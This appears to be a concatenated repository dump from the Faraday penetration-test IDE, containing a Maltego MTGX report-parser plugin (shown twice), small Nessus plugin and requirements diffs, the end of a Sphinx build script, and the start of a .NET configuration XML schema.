265 %SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml
266 if errorlevel 1 exit /b 1
267 echo.
268 echo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.
269 goto end
270 )
271
272 if "%1" == "dummy" (
273 %SPHINXBUILD% -b dummy %ALLSPHINXOPTS% %BUILDDIR%/dummy
274 if errorlevel 1 exit /b 1
275 echo.
276 echo.Build finished. Dummy builder generates no files.
277 goto end
278 )
279
280 :end
0 """
1 Faraday Penetration Test IDE
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4 """
0 """
1 Faraday Penetration Test IDE
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4 """
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 """
4 Faraday Penetration Test IDE
5 Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7 """
8
9 from __future__ import with_statement
10 from plugins import core
11
12 import zipfile
13 import sys
14 import re
15 import os
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Ezequiel Tavella"
30 __copyright__ = "Copyright (c) 2015, Infobyte LLC"
31 __credits__ = ["Ezequiel Tavella"]
32 __license__ = ""
33 __version__ = "1.0.1"
34 __maintainer__ = "Ezequiel Tavella"
35 __status__ = "Development"
36
37
38 def openMtgx(mtgx_file):
39
40 try:
41 file = zipfile.ZipFile(mtgx_file, "r")
42 xml = ET.parse(file.open('Graphs/Graph1.graphml'))
43
44 except:
45 print "Bad report format"
46 return None
47
48 file.close()
49 return xml
50
51
52 class Host():
53
54 def __init__(self):
55 self.ip = ""
56 self.node_id = ""
57 self.dns_name = ""
58 self.website = ""
59 self.netblock = ""
60 self.location = ""
61 self.mx_record = ""
62 self.ns_record = ""
63
64
65 class MaltegoMtgxParser():
66
67 def __init__(self, xml_file):
68
69 self.xml = openMtgx(xml_file)
70
71 self.nodes = self.xml.findall(
72 "{http://graphml.graphdrawing.org/xmlns}graph/"
73 "{http://graphml.graphdrawing.org/xmlns}node")
74
75 self.edges = self.xml.findall(
76 "{http://graphml.graphdrawing.org/xmlns}graph/"
77 "{http://graphml.graphdrawing.org/xmlns}edge")
78
79 self.list_hosts = []
80 self.relations = {}
81
82 def getRelations(self):
83 """
84 Get relations between nodes.
85 Two ways: Source-> Target
86 Source <- Target
87 """
88 for edge in self.edges:
89
90 source = edge.get("source")
91 target = edge.get("target")
92
93 if source not in self.relations:
94 self.relations.update({source: [target]})
95
96 if target not in self.relations:
97 self.relations.update({target: [source]})
98
99 values = self.relations[source]
100 values.append(target)
101 self.relations.update({source: values})
102
103 values = self.relations[target]
104 values.append(source)
105 self.relations.update({target: values})
106
107 def getIpAndId(self, node):
108
109 # Find node ID and maltego entity
110 node_id = node.get("id")
111 entity = node.find(
112 "{http://graphml.graphdrawing.org/xmlns}data/"
113 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity")
114
115 # Check if is IPv4Address
116 if entity.get("type") != "maltego.IPv4Address":
117 return None
118
119 # Get IP value
120 value = entity.find(
121 "{http://maltego.paterva.com/xml/mtgx}Properties/"
122 "{http://maltego.paterva.com/xml/mtgx}Property/"
123 "{http://maltego.paterva.com/xml/mtgx}Value")
124
125 return {"node_id": node_id, "ip": value.text}
126
127 def getNode(self, node_id):
128
129 # Get node, filter by id
130 for node in self.nodes:
131
132 if node.get("id") == node_id:
133 return node
134
135 def getType(self, node):
136
137 # Get type of this node
138 entity = node.find(
139 "{http://graphml.graphdrawing.org/xmlns}data/"
140 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity")
141
142 return entity.get("type")
143
144 def getWebsite(self, target_node):
145
146 # Parse Website Entity
147 result = {"name": "", "ssl_enabled": "", "urls": ""}
148
149 props = target_node.find(
150 "{http://graphml.graphdrawing.org/xmlns}data/"
151 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
152 "{http://maltego.paterva.com/xml/mtgx}Properties")
153
154 for prop in props:
155
156 name_property = prop.get("name")
157 value = prop.find(
158 "{http://maltego.paterva.com/xml/mtgx}Value").text
159
160 if name_property == "fqdn":
161 result["name"] = value
162 elif name_property == "website.ssl-enabled":
163 result["ssl_enabled"] = value
164 elif name_property == "URLS":
165 result["urls"] = value
166
167 return result
168
169 def getNetBlock(self, target_node):
170
171 # Parse Netblock Entity
172 result = {"ipv4_range": "", "network_owner": "", "country": ""}
173
174 props = target_node.find(
175 "{http://graphml.graphdrawing.org/xmlns}data/"
176 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
177 "{http://maltego.paterva.com/xml/mtgx}Properties")
178
179 for prop in props:
180
181 name_property = prop.get("name")
182 value = prop.find(
183 "{http://maltego.paterva.com/xml/mtgx}Value").text
184
185 if name_property == "ipv4-range":
186 result["ipv4_range"] = value
187 elif name_property == "description":
188 result["network_owner"] = value
189 elif name_property == "country":
190 result["country"] = value
191
192 return result
193
194 def getLocation(self, target_node):
195
196 # Parse Location Entity
197 result = {
198 "name": "",
199 "area": "",
200 "country_code": "",
201 "longitude": "",
202 "latitude": "",
203 "area_2": ""}
204
205 # Get relations with other nodes
206 node_relations = self.relations[target_node.get("id")]
207
208 # Find location node based in relation with netblock node.
209 located = False
210 for node_id in node_relations:
211
212 target_node = self.getNode(node_id)
213 if self.getType(target_node) == "maltego.Location":
214 located = True
215 break
216
217 if not located:
218 return None
219
220 # Get properties and update data
221 props = target_node.find(
222 "{http://graphml.graphdrawing.org/xmlns}data/"
223 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
224 "{http://maltego.paterva.com/xml/mtgx}Properties")
225
226 for prop in props:
227
228 name_property = prop.get("name")
229 value = prop.find(
230 "{http://maltego.paterva.com/xml/mtgx}Value").text
231
232 if name_property == "location.name":
233 result["name"] = value
234 elif name_property == "location.area":
235 result["area"] = value
236 elif name_property == "countrycode":
237 result["country_code"] = value
238 elif name_property == "longitude":
239 result["longitude"] = value
240 elif name_property == "latitude":
241 result["latitude"] = value
242 elif name_property == "area":
243 result["area_2"] = value
244
245 return result
246
247 def getValue(self, target_node):
248
249 # Parse Entity
250 result = {"value": ""}
251
252 value = target_node.find(
253 "{http://graphml.graphdrawing.org/xmlns}data/"
254 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
255 "{http://maltego.paterva.com/xml/mtgx}Properties/"
256 "{http://maltego.paterva.com/xml/mtgx}Property/"
257 "{http://maltego.paterva.com/xml/mtgx}Value")
258
259 result["value"] = value.text
260 return result
261
262 def parse(self):
263
264 self.getRelations()
265
266 for node in self.nodes:
267
268 # Get IP Address if not continue with other node...
269 result = self.getIpAndId(node)
270 if not result:
271 continue
272
273 # Create host with values by default
274 host = Host()
275 host.ip = result["ip"]
276 host.node_id = result["node_id"]
277
278 # Get relations with other nodes
279 node_relations = self.relations[host.node_id]
280
281 for node_id in node_relations:
282
283 # Get target node and type of node.
284 target_node = self.getNode(node_id)
285 target_type = self.getType(target_node)
286
287 # Check type of node y add data to host...
288 if target_type == "maltego.DNSName":
289 host.dns_name = self.getValue(target_node)
290 elif target_type == "maltego.Website":
291 host.website = self.getWebsite(target_node)
292 elif target_type == "maltego.Netblock":
293 host.netblock = self.getNetBlock(target_node)
294 # Get location based in relation: netblock -> location
295 host.location = self.getLocation(target_node)
296 elif target_type == "maltego.MXRecord":
297 host.mx_record = self.getValue(target_node)
298 elif target_type == "maltego.NSRecord":
299 host.ns_record = self.getValue(target_node)
300
301 self.list_hosts.append(host)
302
303 return self.list_hosts
304
305
306 class MaltegoPlugin(core.PluginBase):
307
308 def __init__(self):
309
310 core.PluginBase.__init__(self)
311 self.id = "Maltego"
312 self.name = "Maltego MTGX Output Plugin"
313 self.plugin_version = "1.0.1"
314 self.version = "Maltego 3.6"
315 self.framework_version = "1.0.0"
316 self.current_path = None
317 self.options = None
318 self._current_output = None
319
320 self._command_regex = re.compile(
321 r'^(sudo maltego|maltego|\.\/maltego).*?')
322
323 global current_path
324
325 def parseOutputString(self, filename, debug=False):
326
327 maltego_parser = MaltegoMtgxParser(filename)
328 for host in maltego_parser.parse():
329 # Create host
330 try:
331 old_hostname = host.dns_name["value"]
332 except:
333 old_hostname = "unknown"
334
335 host_id = self.createAndAddHost(
336 name=host.ip)
337
338 # Create interface
339 try:
340 network_segment = host.netblock["ipv4_range"]
341 hostname_resolution = [host.dns_name["value"]]
342 except:
343 network_segment = "unknown"
344 hostname_resolution = "unknown"
345
346 interface_id = self.createAndAddInterface(
347 host_id=host_id,
348 name=host.ip,
349 ipv4_address=host.ip,
350 network_segment=network_segment,
351 hostname_resolution=hostname_resolution)
352
353 # Create note with NetBlock information
354 if host.netblock:
355 try:
356 text = (
357 "Network owner:\n" +
358 host.netblock["network_owner"] or "unknown" +
359 "Country:\n" + host.netblock["country"] or "unknown")
360 except:
361 text = "unknown"
362
363 self.createAndAddNoteToHost(
364 host_id=host_id,
365 name="Netblock Information",
366 text=text.encode('ascii', 'ignore')
367 )
368
369 # Create note with host location
370 if host.location:
371 try:
372 text = (
373 "Location:\n" +
374 host.location["name"] +
375 "\nArea:\n" +
376 host.location["area"] +
377 "\nArea 2:\n" +
378 host.location["area_2"] +
379 "\nCountry_code:\n" +
380 host.location["country_code"] +
381 "\nLatitude:\n" +
382 host.location["latitude"] +
383 "\nLongitude:\n" +
384 host.location["longitude"])
385 except:
386 text = "unknown"
387
388 self.createAndAddNoteToHost(
389 host_id=host_id,
390 name="Location Information",
391 text=text.encode('ascii', 'ignore'))
392
393 # Create service web server
394 if host.website:
395 try:
396 description = "SSL Enabled: " + host.website["ssl_enabled"]
397 except:
398 description = "unknown"
399
400 service_id = self.createAndAddServiceToInterface(
401 host_id=host_id,
402 interface_id=interface_id,
403 name=host.website["name"],
404 protocol="TCP:HTTP",
405 ports=[80],
406 description=description)
407
408 try:
409 text = "Urls:\n" + host.website["urls"]
410
411 self.createAndAddNoteToService(
412 host_id=host_id,
413 service_id=service_id,
414 name="URLs",
415 text=text.encode('ascii', 'ignore'))
416 except:
417 pass
418
419 if host.mx_record:
420
421 self.createAndAddServiceToInterface(
422 host_id=host_id,
423 interface_id=interface_id,
424 name=host.mx_record["value"],
425 protocol="SMTP",
426 ports=[25],
427 description="E-mail Server")
428
429 if host.ns_record:
430
431 self.createAndAddServiceToInterface(
432 host_id=host_id,
433 interface_id=interface_id,
434 name=host.ns_record["value"],
435 protocol="DNS",
436 ports=[53],
437 description="DNS Server")
438
439 def processReport(self, filepath):
440 self.parseOutputString(filepath)
441
442 def processCommandString(self, username, current_path, command_string):
443 pass
444
445
446 def createPlugin():
447 return MaltegoPlugin()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 """
4 Faraday Penetration Test IDE
5 Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7 """
8
9 from __future__ import with_statement
10 from plugins import core
11
12 import zipfile
13 import sys
14 import re
15 import os
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Ezequiel Tavella"
30 __copyright__ = "Copyright (c) 2015, Infobyte LLC"
31 __credits__ = ["Ezequiel Tavella"]
32 __license__ = ""
33 __version__ = "1.0.1"
34 __maintainer__ = "Ezequiel Tavella"
35 __status__ = "Development"
36
37
38 def openMtgx(mtgx_file):
39
40 try:
41 file = zipfile.ZipFile(mtgx_file, "r")
42 xml = ET.parse(file.open('Graphs/Graph1.graphml'))
43
44 except:
45 print "Bad report format"
46 return None
47
48 file.close()
49 return xml
50
51
52 class Host():
53
54 def __init__(self):
55 self.ip = ""
56 self.node_id = ""
57 self.dns_name = ""
58 self.website = ""
59 self.netblock = ""
60 self.location = ""
61 self.mx_record = ""
62 self.ns_record = ""
63
64
65 class MaltegoMtgxParser():
66
67 def __init__(self, xml_file):
68
69 self.xml = openMtgx(xml_file)
70
71 self.nodes = self.xml.findall(
72 "{http://graphml.graphdrawing.org/xmlns}graph/"
73 "{http://graphml.graphdrawing.org/xmlns}node")
74
75 self.edges = self.xml.findall(
76 "{http://graphml.graphdrawing.org/xmlns}graph/"
77 "{http://graphml.graphdrawing.org/xmlns}edge")
78
79 self.list_hosts = []
80 self.relations = {}
81
82 def getRelations(self):
83 """
84 Get relations between nodes.
85 Two ways: Source-> Target
86 Source <- Target
87 """
88 for edge in self.edges:
89
90 source = edge.get("source")
91 target = edge.get("target")
92
93 if source not in self.relations:
94 self.relations.update({source: [target]})
95
96 if target not in self.relations:
97 self.relations.update({target: [source]})
98
99 values = self.relations[source]
100 values.append(target)
101 self.relations.update({source: values})
102
103 values = self.relations[target]
104 values.append(source)
105 self.relations.update({target: values})
106
107 def getIpAndId(self, node):
108
109 # Find node ID and maltego entity
110 node_id = node.get("id")
111 entity = node.find(
112 "{http://graphml.graphdrawing.org/xmlns}data/"
113 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity")
114
115 # Check if is IPv4Address
116 if entity.get("type") != "maltego.IPv4Address":
117 return None
118
119 # Get IP value
120 value = entity.find(
121 "{http://maltego.paterva.com/xml/mtgx}Properties/"
122 "{http://maltego.paterva.com/xml/mtgx}Property/"
123 "{http://maltego.paterva.com/xml/mtgx}Value")
124
125 return {"node_id": node_id, "ip": value.text}
126
127 def getNode(self, node_id):
128
129 # Get node, filter by id
130 for node in self.nodes:
131
132 if node.get("id") == node_id:
133 return node
134
135 def getType(self, node):
136
137 # Get type of this node
138 entity = node.find(
139 "{http://graphml.graphdrawing.org/xmlns}data/"
140 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity")
141
142 return entity.get("type")
143
144 def getWebsite(self, target_node):
145
146 # Parse Website Entity
147 result = {"name": "", "ssl_enabled": "", "urls": ""}
148
149 props = target_node.find(
150 "{http://graphml.graphdrawing.org/xmlns}data/"
151 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
152 "{http://maltego.paterva.com/xml/mtgx}Properties")
153
154 for prop in props:
155
156 name_property = prop.get("name")
157 value = prop.find(
158 "{http://maltego.paterva.com/xml/mtgx}Value").text
159
160 if name_property == "fqdn":
161 result["name"] = value
162 elif name_property == "website.ssl-enabled":
163 result["ssl_enabled"] = value
164 elif name_property == "URLS":
165 result["urls"] = value
166
167 return result
168
169 def getNetBlock(self, target_node):
170
171 # Parse Netblock Entity
172 result = {"ipv4_range": "", "network_owner": "", "country": ""}
173
174 props = target_node.find(
175 "{http://graphml.graphdrawing.org/xmlns}data/"
176 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
177 "{http://maltego.paterva.com/xml/mtgx}Properties")
178
179 for prop in props:
180
181 name_property = prop.get("name")
182 value = prop.find(
183 "{http://maltego.paterva.com/xml/mtgx}Value").text
184
185 if name_property == "ipv4-range":
186 result["ipv4_range"] = value
187 elif name_property == "description":
188 result["network_owner"] = value
189 elif name_property == "country":
190 result["country"] = value
191
192 return result
193
194 def getLocation(self, target_node):
195
196 # Parse Location Entity
197 result = {
198 "name": "",
199 "area": "",
200 "country_code": "",
201 "longitude": "",
202 "latitude": "",
203 "area_2": ""}
204
205 # Get relations with other nodes
206 node_relations = self.relations[target_node.get("id")]
207
208 # Find location node based in relation with netblock node.
209 located = False
210 for node_id in node_relations:
211
212 target_node = self.getNode(node_id)
213 if self.getType(target_node) == "maltego.Location":
214 located = True
215 break
216
217 if not located:
218 return None
219
220 # Get properties and update data
221 props = target_node.find(
222 "{http://graphml.graphdrawing.org/xmlns}data/"
223 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
224 "{http://maltego.paterva.com/xml/mtgx}Properties")
225
226 for prop in props:
227
228 name_property = prop.get("name")
229 value = prop.find(
230 "{http://maltego.paterva.com/xml/mtgx}Value").text
231
232 if name_property == "location.name":
233 result["name"] = value
234 elif name_property == "location.area":
235 result["area"] = value
236 elif name_property == "countrycode":
237 result["country_code"] = value
238 elif name_property == "longitude":
239 result["longitude"] = value
240 elif name_property == "latitude":
241 result["latitude"] = value
242 elif name_property == "area":
243 result["area_2"] = value
244
245 return result
246
247 def getValue(self, target_node):
248
249 # Parse Entity
250 result = {"value": ""}
251
252 value = target_node.find(
253 "{http://graphml.graphdrawing.org/xmlns}data/"
254 "{http://maltego.paterva.com/xml/mtgx}MaltegoEntity/"
255 "{http://maltego.paterva.com/xml/mtgx}Properties/"
256 "{http://maltego.paterva.com/xml/mtgx}Property/"
257 "{http://maltego.paterva.com/xml/mtgx}Value")
258
259 result["value"] = value.text
260 return result
261
262 def parse(self):
263
264 self.getRelations()
265
266 for node in self.nodes:
267
268 # Get IP Address if not continue with other node...
269 result = self.getIpAndId(node)
270 if not result:
271 continue
272
273 # Create host with values by default
274 host = Host()
275 host.ip = result["ip"]
276 host.node_id = result["node_id"]
277
278 # Get relations with other nodes
279 node_relations = self.relations[host.node_id]
280
281 for node_id in node_relations:
282
283 # Get target node and type of node.
284 target_node = self.getNode(node_id)
285 target_type = self.getType(target_node)
286
287 # Check type of node y add data to host...
288 if target_type == "maltego.DNSName":
289 host.dns_name = self.getValue(target_node)
290 elif target_type == "maltego.Website":
291 host.website = self.getWebsite(target_node)
292 elif target_type == "maltego.Netblock":
293 host.netblock = self.getNetBlock(target_node)
294 # Get location based in relation: netblock -> location
295 host.location = self.getLocation(target_node)
296 elif target_type == "maltego.MXRecord":
297 host.mx_record = self.getValue(target_node)
298 elif target_type == "maltego.NSRecord":
299 host.ns_record = self.getValue(target_node)
300
301 self.list_hosts.append(host)
302
303 return self.list_hosts
304
305
306 class MaltegoPlugin(core.PluginBase):
307
308 def __init__(self):
309
310 core.PluginBase.__init__(self)
311 self.id = "Maltego"
312 self.name = "Maltego MTGX Output Plugin"
313 self.plugin_version = "1.0.1"
314 self.version = "Maltego 3.6"
315 self.framework_version = "1.0.0"
316 self.current_path = None
317 self.options = None
318 self._current_output = None
319
320 self._command_regex = re.compile(
321 r'^(sudo maltego|maltego|\.\/maltego).*?')
322
323 global current_path
324
325 def parseOutputString(self, filename, debug=False):
326
327 maltego_parser = MaltegoMtgxParser(filename)
328 for host in maltego_parser.parse():
329 # Create host
330 try:
331 old_hostname = host.dns_name["value"]
332 except:
333 old_hostname = "unknown"
334
335 host_id = self.createAndAddHost(
336 name=host.ip)
337
338 # Create interface
339 try:
340 network_segment = host.netblock["ipv4_range"]
341 hostname_resolution = [host.dns_name["value"]]
342 except:
343 network_segment = "unknown"
344 hostname_resolution = "unknown"
345
346 interface_id = self.createAndAddInterface(
347 host_id=host_id,
348 name=host.ip,
349 ipv4_address=host.ip,
350 network_segment=network_segment,
351 hostname_resolution=hostname_resolution)
352
353 # Create note with NetBlock information
354 if host.netblock:
355 try:
356 text = (
357 "Network owner:\n" +
358 host.netblock["network_owner"] or "unknown" +
359 "Country:\n" + host.netblock["country"] or "unknown")
360 except:
361 text = "unknown"
362
363 self.createAndAddNoteToHost(
364 host_id=host_id,
365 name="Netblock Information",
366 text=text.encode('ascii', 'ignore')
367 )
368
369 # Create note with host location
370 if host.location:
371 try:
372 text = (
373 "Location:\n" +
374 host.location["name"] +
375 "\nArea:\n" +
376 host.location["area"] +
377 "\nArea 2:\n" +
378 host.location["area_2"] +
379 "\nCountry_code:\n" +
380 host.location["country_code"] +
381 "\nLatitude:\n" +
382 host.location["latitude"] +
383 "\nLongitude:\n" +
384 host.location["longitude"])
385 except:
386 text = "unknown"
387
388 self.createAndAddNoteToHost(
389 host_id=host_id,
390 name="Location Information",
391 text=text.encode('ascii', 'ignore'))
392
393 # Create service web server
394 if host.website:
395 try:
396 description = "SSL Enabled: " + host.website["ssl_enabled"]
397 except:
398 description = "unknown"
399
400 service_id = self.createAndAddServiceToInterface(
401 host_id=host_id,
402 interface_id=interface_id,
403 name=host.website["name"],
404 protocol="TCP:HTTP",
405 ports=[80],
406 description=description)
407
408 try:
409 text = "Urls:\n" + host.website["urls"]
410
411 self.createAndAddNoteToService(
412 host_id=host_id,
413 service_id=service_id,
414 name="URLs",
415 text=text.encode('ascii', 'ignore'))
416 except:
417 pass
418
419 if host.mx_record:
420
421 self.createAndAddServiceToInterface(
422 host_id=host_id,
423 interface_id=interface_id,
424 name=host.mx_record["value"],
425 protocol="SMTP",
426 ports=[25],
427 description="E-mail Server")
428
429 if host.ns_record:
430
431 self.createAndAddServiceToInterface(
432 host_id=host_id,
433 interface_id=interface_id,
434 name=host.ns_record["value"],
435 protocol="DNS",
436 ports=[53],
437 description="DNS Server")
438
439 def processReport(self, filepath):
440 self.parseOutputString(filepath)
441
442 def processCommandString(self, username, current_path, command_string):
443 pass
444
445
446 def createPlugin():
447 return MaltegoPlugin()
113113 if t.get('host-ip'):
114114 ip = t.get('host-ip')
115115
116 h_id = self.createAndAddHost(ip, t.get('operating-system'))
116 h_id = self.createAndAddHost(ip, t.get('operating-system'), hostnames=[host])
117117
118118 if self._isIPV4(ip):
119119 i_id = self.createAndAddInterface(
201201 return NessusPlugin()
202202
203203 if __name__ == '__main__':
204 parser = NessusParser(sys.argv[1])
205 for item in parser.items:
206 if item.status == 'up':
207 print item
204 parser = NessusPlugin()
205 with open('/home/javier/DNS_publicos_hlnn77.nessus', 'r') as report:
206 parser.parseOutputString(report.read())
207 for item in parser.items:
208 if item.status == 'up':
209 print item
66 mockito>=1.0.12
77 pgcli>=1.8.2
88 requests>=2.18.4
9 restkit>=4.2.2
109 tornado>=4.5.1
1110 tqdm>=4.15.0
1211 whoosh>=2.7.4
00 autobahn>=17.10.1
11 alembic>=0.9.9
22 bcrypt>=3.1.4
3 couchdbkit>=0.6.5
43 colorama>=0.3.9
54 click>=5.1
65 Flask-SQLAlchemy>=2.3.1
1716 python-dateutil>=2.6.0
1817 python-slugify>=1.2.4
1918 requests>=2.18.4
20 restkit>=4.2.2
2119 service_identity>=17.0.0
2220 SQLAlchemy>=1.2.0b2
2321 sqlalchemy_schemadisplay>=1.3
3129 deprecation>=1.0.1
3230 pgcli>=1.8.2
3331 websocket-client>=0.46.0
32 attrs>=17.4.0
0 <?xml version="1.0" encoding="us-ascii"?>
1 <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vs="http://schemas.microsoft.com/Visual-Studio-Intellisense" elementFormDefault="qualified" attributeFormDefault="unqualified" vs:helpNamespace="http://schemas.microsoft.com/.NetConfiguration/v2.0">
2 <xs:element name="configuration">
3 <xs:complexType>
4 <xs:choice minOccurs="0" maxOccurs="unbounded">
5 <xs:any namespace="##any" processContents="lax" />
6 </xs:choice>
7 </xs:complexType>
8 </xs:element>
9 <xs:element name="location">
10 <xs:complexType>
11 <xs:choice>
12 <xs:any namespace="##any" processContents="lax" />
13 </xs:choice>
14 <xs:attribute name="path" type="xs:string" use="optional" />
15 <xs:attribute name="allowOverride" type="small_boolean_Type" use="optional" />
16 </xs:complexType>
17 </xs:element>
18 <xs:element name="configSections" type="configSections_type" />
19 <xs:complexType name="configSectionGroup_type">
20 <xs:choice>
21 <xs:group ref="configTypeDefinition" maxOccurs="unbounded" />
22 </xs:choice>
23 <xs:attribute name="name" type="xs:string" use="required" />
24 <xs:attribute name="type" type="xs:string" use="optional" />
25 </xs:complexType>
26 <xs:complexType name="configSections_type">
27 <xs:choice minOccurs="0" maxOccurs="unbounded">
28 <xs:group ref="configTypeDefinition" minOccurs="0" maxOccurs="unbounded" />
29 </xs:choice>
30 </xs:complexType>
31 <xs:group name="configTypeDefinition">
32 <xs:choice>
33 <xs:element name="section" type="configSection_section" minOccurs="0" maxOccurs="unbounded" />
34 <xs:element name="sectionGroup" type="configSectionGroup_type" minOccurs="0" maxOccurs="unbounded" />
35 </xs:choice>
36 </xs:group>
37 <xs:complexType name="configSection_section">
38 <xs:attribute name="name" type="xs:string" use="required" />
39 <xs:attribute name="type" type="xs:string" use="required" />
40 <xs:attribute name="requirePermission" type="boolean_Type" use="optional" />
41 <xs:attribute name="allowLocation" type="boolean_Type" use="optional" />
42 <xs:attribute name="allowOverride" type="boolean_Type" use="optional" />
43 <xs:attribute name="restartOnExternalChanges" type="boolean_Type" use="optional" />
44 <xs:attribute name="allowDefinition" use="optional">
45 <xs:simpleType>
46 <xs:restriction base="xs:string">
47 <xs:enumeration value="MachineToWebRoot" />
48 <xs:enumeration value="MachineToApplication" />
49 <xs:enumeration value="MachineOnly" />
50 <xs:enumeration value="Everywhere" />
51 </xs:restriction>
52 </xs:simpleType>
53 </xs:attribute>
54 <xs:attribute name="allowExeDefinition" use="optional">
55 <xs:simpleType>
56 <xs:restriction base="xs:string">
57 <xs:enumeration value="MachineOnly" />
58 <xs:enumeration value="MachineToApplication" />
59 <xs:enumeration value="MachineToLocalUser" />
60 <xs:enumeration value="MachineToRoamingUser" />
61 </xs:restriction>
62 </xs:simpleType>
63 </xs:attribute>
64 </xs:complexType>
65 <xs:simpleType name="Infinite_or_int">
66 <xs:union memberTypes="Infinite xs:int" />
67 </xs:simpleType>
68 <xs:simpleType name="Infinite">
69 <xs:restriction base="xs:string">
70 <xs:enumeration value="Infinite" />
71 </xs:restriction>
72 </xs:simpleType>
73 <xs:simpleType name="small_boolean_Type">
74 <xs:restriction base="xs:NMTOKEN">
75 <xs:enumeration value="false" />
76 <xs:enumeration value="true" />
77 </xs:restriction>
78 </xs:simpleType>
79 <xs:simpleType name="boolean_Type">
80 <xs:restriction base="xs:NMTOKEN">
81 <xs:enumeration value="false" />
82 <xs:enumeration value="true" />
83 <xs:enumeration value="True" />
84 <xs:enumeration value="False" />
85 </xs:restriction>
86 </xs:simpleType>
87 <xs:element name="appSettings" vs:help="configuration/appSettings">
88 <xs:complexType>
89 <xs:choice minOccurs="0" maxOccurs="unbounded">
90 <xs:element name="add" vs:help="configuration/appSettings/add">
91 <xs:complexType>
92 <xs:attribute name="key" type="xs:string" use="optional" />
93 <xs:attribute name="value" type="xs:string" use="optional" />
94 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
95 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
96 <xs:attribute name="lockElements" type="xs:string" use="optional" />
97 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
98 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
99 </xs:complexType>
100 </xs:element>
101 <xs:element name="remove" vs:help="configuration/appSettings/remove">
102 <xs:complexType>
103 <xs:attribute name="key" type="xs:string" use="optional" />
104 </xs:complexType>
105 </xs:element>
106 <xs:element name="clear" vs:help="configuration/appSettings/clear">
107 <xs:complexType>
108 <!--tag is empty-->
109 </xs:complexType>
110 </xs:element>
111 </xs:choice>
112 <xs:attribute name="file" type="xs:string" use="optional" />
113 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
114 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
115 <xs:attribute name="lockElements" type="xs:string" use="optional" />
116 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
117 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
118 <xs:attribute name="configSource" type="xs:string" use="optional" />
119 </xs:complexType>
120 </xs:element>
121 <xs:element name="assemblyBinding" vs:help="configuration/assemblyBinding" />
122 <xs:element name="configProtectedData" vs:help="configuration/configProtectedData">
123 <xs:complexType>
124 <xs:choice minOccurs="0" maxOccurs="unbounded">
125 <xs:element name="providers" vs:help="configuration/configProtectedData/providers">
126 <xs:complexType>
127 <xs:choice minOccurs="0" maxOccurs="unbounded">
128 <xs:element name="add" vs:help="configuration/configProtectedData/providers/add">
129 <xs:complexType>
130 <xs:attribute name="name" type="xs:string" use="required" />
131 <xs:attribute name="type" type="xs:string" use="required" />
132 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
133 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
134 <xs:attribute name="lockElements" type="xs:string" use="optional" />
135 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
136 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
137 </xs:complexType>
138 </xs:element>
139 <xs:element name="remove" vs:help="configuration/configProtectedData/providers/remove">
140 <xs:complexType>
141 <xs:attribute name="name" type="xs:string" use="required" />
142 </xs:complexType>
143 </xs:element>
144 <xs:element name="clear" vs:help="configuration/configProtectedData/providers/clear">
145 <xs:complexType>
146 <!--tag is empty-->
147 </xs:complexType>
148 </xs:element>
149 </xs:choice>
150 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
151 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
152 <xs:attribute name="lockElements" type="xs:string" use="optional" />
153 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
154 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
155 </xs:complexType>
156 </xs:element>
157 </xs:choice>
158 <xs:attribute name="defaultProvider" type="xs:string" use="optional" />
159 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
160 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
161 <xs:attribute name="lockElements" type="xs:string" use="optional" />
162 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
